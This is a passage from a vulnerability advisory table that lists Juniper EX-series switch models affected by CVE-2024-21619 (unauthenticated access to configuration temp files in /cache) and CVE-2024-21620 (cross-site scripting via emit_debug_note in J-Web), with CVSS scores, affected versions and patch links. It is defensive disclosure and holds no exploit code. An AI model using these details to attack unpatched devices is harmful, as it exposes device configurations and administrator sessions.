			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives.	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1642

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300m					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1643

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1644

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300_multigigabit					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1645

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1646

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4400					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://supportportal.juniper.net/JSA76390	H-JUN-EX44-090224/1647

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-EX44-090224/1648

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4400-24x					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-EX44-090224/1649

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-EX44-090224/1650

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex4400_multigigabit					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-EX44-090224/1651

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-EX44-090224/1652

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4500					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1653

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1654

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4500-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1655

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1656

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4550					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://supportportal.juniper.net/JSA76390	H-JUN-EX45-090224/1657

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-EX45-090224/1658

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex4550-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://support.portal.juniper.net/JSA76390	H-JUN-EX45-090224/1659

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1660

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4550\/vc					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1661

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-EX45-090224/1662

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4600					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX46-090224/1663

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX46-090224/1664

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4600-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-EX46-090224/1665

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-EX46-090224/1666

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4650					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-EX46-090224/1667

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
